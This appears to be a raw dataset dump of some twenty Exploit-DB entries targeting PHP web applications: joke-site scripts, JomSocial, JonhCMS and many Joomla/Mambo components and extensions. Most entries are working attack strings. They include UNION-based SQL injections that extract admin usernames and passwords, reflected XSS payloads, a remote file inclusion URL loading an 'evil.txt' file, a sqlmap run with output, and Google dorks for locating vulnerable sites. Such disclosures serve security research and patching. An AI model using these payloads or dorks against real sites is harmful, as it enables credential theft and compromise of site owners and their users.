deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13866
Description: Joke Website Script - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-14
Author: Valentin

Exploit:
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joke Website Script SQL Injection and Cross-Site Scripting Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Joke Website Script
Author = Ed Pudol
Link = http://www.buymyscripts.net/8/Joke_website_script_with_a_20_thousand+_jokes_database_included.html
Affected Version(s) = unknown

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 SQL Injection
target/search.php?submit=Search&keyword=[SQLi]

>> #2 Cross-Site Scripting
target/search.php?submit=Search&keyword=[XSS]

[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 14.06.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #5934
Description: Jokes & Funny Pics Script - 'sb_jokeid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-25
Author: Hussin X

Exploit:
#########################################################
#
#   Jokes & Funny Pics Script  SQL Injection Vulnerability
#========================================================
#
#    Author: Hussin X                                   
#                                                       
#    Home :  www.tryag.cc/cc                            
#                                                     
#    email:  darkangel_g85[at]Yahoo[DoT]com            
#            hussin.x[at]hotmail[DoT]com                
#                                               
#========================================================
#    HomE script : http://www.softbizscripts.com
#     
#    Demo : http://www.softbizscripts.com/scripts/jokes  
#    
#    DorK : "index.php?sbjoke_id="

##########################################################

Exploit:   


http://www.site.org/Script/index.php?sbjoke_id=-1+union+select+0,1,2,3,concat_ws(sbadmin_pwd,0x3a,sbadmin_name),5,6,7,8,9,10+from+sbjks_admin--


Exploit: 2

index.php?sbjoke_id=-1+union+select+0,1,2,3,concat_ws(sbadmin_pwd,0x3a,sbadmin_name),5,6,7,8,9,10,11,12,13+from+sbjks_admin--

Login :

/admin/

 
################################################################################
####################################( Greetz )##################################
#                                                                              #
#      tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR /str0ke          #      
#                 Silic0n  / Rafi / FAHD / Iraqihack                           #      
#                                                                              #
#################################(and All IRAQIs)###############################

# milw0rm.com [2008-06-25]
Exploit-DB #5508
Description: Jokes Site Script - 'jokes.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-27
Author: ProgenTR

Exploit:
author:ProgenTR

scriptismi:Jokes Site Script

script :http://www.yourfreeworld.com/script/phpjokescript.asp

fiyat:$49

demo:http://www.autowebhits.com/jokesite/

jokes.php?catagorie=-1%20union%20select%201,convert(concat(database(),char(58),user(),char(58),version()),char)/*


dork:allinurl:"jokes.php?catagorie="

# milw0rm.com [2008-04-27]
Exploit-DB #15164
Description: JomSocial 1.8.8 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-09-30
Author: Jeff Channell

Exploit:
There is a file upload vulnerability in version 1.8.8 and earlier of 
JomSocial, the popular community extension for Joomla!.

Successful exploitation of this exploit requires the site to be 
configured to allow users to upload video files directly, which is 
disabled by default. If this feature is enabled, any file uploaded via 
the "add video" upload form will end up in 
http://[victim]/images/originalvideos/[your account's user id]/[unique 
file name]. This folder is not protected with an index, so if indexes 
are allowed retrieving the shell's filename is trivial.

Listed on the JomSocial Changelog as "BUG: 4495" 
<http://www.jomsocial.com/docs/Change_Log#Version_1.8.9>

Timeline

     * Vulnerabilities Discovered: 26 September 2010
     * Vendor Notified: 27 September 2010
     * Vendor Response: 27 September 2010
     * Update Available: 28 September 2010
     * Disclosure: 30 September 2010

http://jeffchannell.com/Joomla/jomsocial-188-shell-upload-vulnerability.html
Exploit-DB #40530
Description: JonhCMS 4.5.1 - SQL Injection
Type: webapps
Platform: php
Date: 2016-10-13
Author: Besim

Exploit:
# Exploit Title :----------------- : JonhCMS 4.5.1 - (go.php?id) - SQL Injection
# Author :------------------------ : Besim
# Google Dork :---------------- :  -
# Date :-------------------------- : 14/10/2016
# Type :-------------------------- : webapps
# Platform : -------------------- :  PHP  
# Vendor Homepage :------- : -
# Software link : -------------- : http://wmscripti.com/php-scriptler/johncms-icerik-yonetim-scripti.html

############ SQL INJECTION Vulnerabilty ##############


-*-*- :  Vulnerable code----------: $req = mysql_query("SELECT * FROM `cms_ads` WHERE `id` = '$id'");
-*-*- :  Vulnerable parameter--: $id
-*-*- :  Vulnerable file------------: http://site_name/path/go.php?id=[SQL injection code]
Exploit-DB #51629
Description: Joomla HikaShop 4.7.4 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-07-28
Author: CraCkEr

Exploit:
# Exploit Title: Joomla HikaShop 4.7.4 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 24/07/2023
# Vendor: Hikari Software Team
# Vendor Homepage: https://www.hikashop.com/
# Software Link: https://demo.hikashop.com/index.php/en/
# Joomla Extension Link: https://extensions.joomla.org/extension/e-commerce/shopping-cart/hikashop/
# Version: 4.7.4
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site



## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob



## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /index.php

GET parameter 'from_option' is vulnerable to RXSS

https://website/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=[XSS]&from_ctrl=product&from_task=listing&from_itemid=103


Path: /index.php

GET parameter 'from_ctrl' is vulnerable to RXSS

https://demo.hikashop.com/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=com_hikashop&from_ctrl=[XSS]&from_task=listing&from_itemid=103


Path: /index.php

GET parameter 'from_task' is vulnerable to RXSS

https://demo.hikashop.com/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=com_hikashop&from_ctrl=product&from_task=[XSS]&from_itemid=103


Path: /index.php

GET parameter 'from_itemid' is vulnerable to RXSS

https://demo.hikashop.com/index.php?option=com_hikashop&ctrl=product&task=filter&tmpl=raw&filter=1&module_id=102&cid=2&from_option=com_hikashop&from_ctrl=product&from_task=listing&from_itemid=[XSS]


[XSS Payload]: uhqum"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"wcn46



[-] Done
Exploit-DB #51640
Description: Joomla iProperty Real Estate 4.1.1 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-07-31
Author: CraCkEr

Exploit:
# Exploit Title: Joomla iProperty Real Estate 4.1.1 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 29/07/2023
# Vendor: The Thinkery LLC
# Vendor Homepage: http://thethinkery.net
# Software Link: https://extensions.joomla.org/extension/vertical-markets/real-estate/iproperty/
# Demo: https://iproperty.thethinkery.net/
# Version: 4.1.1
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /iproperty/property-views/all-properties-with-map

GET parameter 'filter_keyword' is vulnerable to XSS

https://website/iproperty/property-views/all-properties-with-map?filter_keyword=[XSS]&option=com_iproperty&view=allproperties&ipquicksearch=1


XSS Payload: pihil"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"f63m4


[-] Done
Exploit-DB #51645
Description: Joomla JLex Review 6.0.1 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-04
Author: CraCkEr

Exploit:
# Exploit Title: Joomla JLex Review 6.0.1 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 01/08/2023
# Vendor: JLexArt
# Vendor Homepage: https://jlexart.com/
# Software Link: https://extensions.joomla.org/extension/jlex-review/
# Demo: https://jlexreview.jlexart.com/
# Version: 6.0.1
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials


Path: /

URL parameter is vulnerable to XSS

https://website/?review_id=5&itwed"onmouseover="confirm(1)"style="position:absolute%3bwidth:100%25%3bheight:100%25%3btop:0%3bleft:0%3b"b7yzn=1



XSS Payloads:

itwed"onmouseover="confirm(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"b7yzn
Exploit-DB #52373
Description: Joomla JS Jobs plugin 1.4.2 - SQL injection
Type: webapps
Platform: php
Date: 2025-07-22
Author: Adam Wallwork

Exploit:
# Exploit Title: Joomla JS Jobs plugin 1.4.2 - SQL injection
# Google Dork: n/a
# Date: 07/07/2025
# Exploit Author: Adam Wallwork
# Vendor Homepage: https://joomsky.com/
# Demo: https://demo.joomsky.com/js-jobs/jm/free/
# Software Link: https://extensions.joomla.org/extension/js-jobs/
# Version: v1.4.2
# Tested on: v1.4.2


An SQL injection vulnerability exists in the JS Jobs extension (v1.4.2) via the 'cvid' parameter and is exploitable as the jobseeker user.

To exploit this vulnerability login as the jobseeker user with default credentials (jobseeker:demo) and go to 'jobseeker-controlpanel >> My Stuff >> Newest Jobs >> Newest Jobs >> Apply Now >> Apply Now' and capture the "Apply Now" request (req.txt).

HTTP Request:
```
POST /index.php?option=com_jsjobs&task=jobapply.jobapplyajax HTTP/2
Host: localhost:8080
Cookie: joomla_user_state=logged_in; 67aa5f9b49e233456b916ea62ef1447b=kjou43pssdvaa5plr84dhc8P64
Content-Length: 38
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/index.php/component/jsjobs/newest-jobs?Itemid=
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

jobid=1&cvid=1&coverletterid=4&uid=460
```

Exploit:
```
sqlmap -r req.txt --dbs --batch -p cvid --dbms=mysql --threads=10
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.9.1.2#dev}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

---
Parameter: cvid (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: jobid=1&cvid=(SELECT (CASE WHEN (7270=7270) THEN 1 ELSE (SELECT 6098 UNION SELECT 7386) END))&coverletterid=4&uid=460

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: jobid=1&cvid=1 AND (SELECT 6497 FROM (SELECT(SLEEP(5)))EAyv)&coverletterid=4&uid=460
---

available databases [2]:
[*] joomla_db
[*] information_schema
```
Exploit-DB #51631
Description: Joomla VirtueMart Shopping Cart 4.0.12 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-07-28
Author: CraCkEr

Exploit:
# Exploit Title: Joomla VirtueMart Shopping-Cart 4.0.12 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 24/07/2023
# Vendor: VirtueMart Team
# Vendor Homepage: https://www.virtuemart.net/
# Software Link: https://demo.virtuemart.net/
# Joomla Extension Link: https://extensions.joomla.org/extension/e-commerce/shopping-cart/virtuemart/
# Version: 4.0.12
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site



## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob



## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /product-variants

GET parameter 'keyword' is vulnerable to RXSS

https://website/product-variants?keyword=[XSS]&view=category&option=com_virtuemart&virtuemart_category_id=11&Itemid=925


[XSS Payload]: uk9ni"><script>alert(1)</script>a6di2



[-] Done
Exploit-DB #31857
Description: Joomla! / Mambo Component Artists - 'idgalery' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-28
Author: Cr@zy_King

Exploit:
source: https://www.securityfocus.com/bid/29407/info

The Artists component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


http://www.example.com/index.php?option=com_artist&idgalery=-1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9+from+jos_users/*
Exploit-DB #31529
Description: Joomla! / Mambo Component Cinema 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-23
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/28427/info

The Cinema component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The issue affects Cinema 1.0; other versions may also be vulnerable.

http://www.example.com/index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat(username,0x3a,password)/**/from/**/jos_users/*
http://www.example.com/index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,29,29,30,concat(username,0x3a,password)/**/from/**/jos_users/*
Exploit-DB #28437
Description: Joomla! / Mambo Component Comprofiler 1.0 - 'class.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-26
Author: Matdhule

Exploit:
source: https://www.securityfocus.com/bid/19725/info

The Mambo and Joomla com_comprofiler component is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 1.0 RC2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[path]/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://www.example.com/evil.txt?
Exploit-DB #31207
Description: Joomla! / Mambo Component com_activities - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27820/info

The Joomla! and Mambo 'com_activities' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_activities&Itemid=51&func=detail&id=-1/**/union/**/select/**/0,1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,username/**/from/**/mos_users/*
Exploit-DB #31274
Description: Joomla! / Mambo Component com_asortyment - 'katid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27923/info

The Joomla! and Mambo 'com_asortyment' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_asortyment&Itemid=36&lang=pl&task=kat&katid=-9999999/**/union/**/select/**/0x3a,concat(username,0x3a,password),concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a/**/from/**/jos_users/*
Exploit-DB #31292
Description: Joomla! / Mambo Component com_blog - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/27971/info

The 'com_blog' component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_blog&name=aria-Security.Net&task=view&pid=SQL_INJECTION
Exploit-DB #31077
Description: Joomla! / Mambo Component com_buslicense - 'aid' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-30
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27508/info

The 'com_buslicense' component for Mambo/Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_buslicense&sectionid=9999&Itemid=9999&task=list&aid=-1/**/union/**/select/**/0,username,0x3a,password,4,5,6,7,8,9,10,11,12,13,14/**/from/**/mos_users/*
Exploit-DB #7095
Description: Joomla! / Mambo Component com_catalogproduction - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-11
Author: boom3rang

Exploit:
####################################################################
Joomla & Mambo com_catalogproduction (id) SQL injection vulnerability!
####################################################################

###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.

#[!] Module_Name:  com_catalogproduction
#[!] Script_Name:  Joomla & Mambo
#[!] Google_Dork:  inurl:"com_catalogproduction"
##################################################


#[~] Example:                  
http://localhost/Path/index.php?option=com_catalogproduction&task=viewdetail&id=[exploit]


#[~]Joomla Exploit:  
-9999 union all select 1,2,concat(username,char(58),password),null,null,6,7,8,9,0,11,12,13,14,15,16,17,null,19,20+from+jos_users


#[~]Mambo  Exploit:
-9999 union all select 1,2,concat(username,char(58),password),null,null,6,7,8,9,0,11,12,13,14,15,16,17,null,19,20+from+mos_users

##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-11-11]
Exploit-DB #31137
Description: Joomla! / Mambo Component com_comments 0.5.8.5g - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-11
Author: CheebaHawk215

Exploit:
source: https://www.securityfocus.com/bid/27731/info

The Joomla! and Mambo 'com_comments' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1
Exploit-DB #31226
Description: Joomla! / Mambo Component com_detail - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-18
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27853/info

The Joomla! and Mambo 'com_detail' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_detail&Itemid=s@bun&id=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2C2%2C3%2C0x3a%2Cpassword%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users%20%2F%2A%2A
Exploit-DB #31245
Description: Joomla! / Mambo Component com_formtool - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27884/info

The Joomla! and Mambo 'com_formtool' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_formtool&task=view&formid=2&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*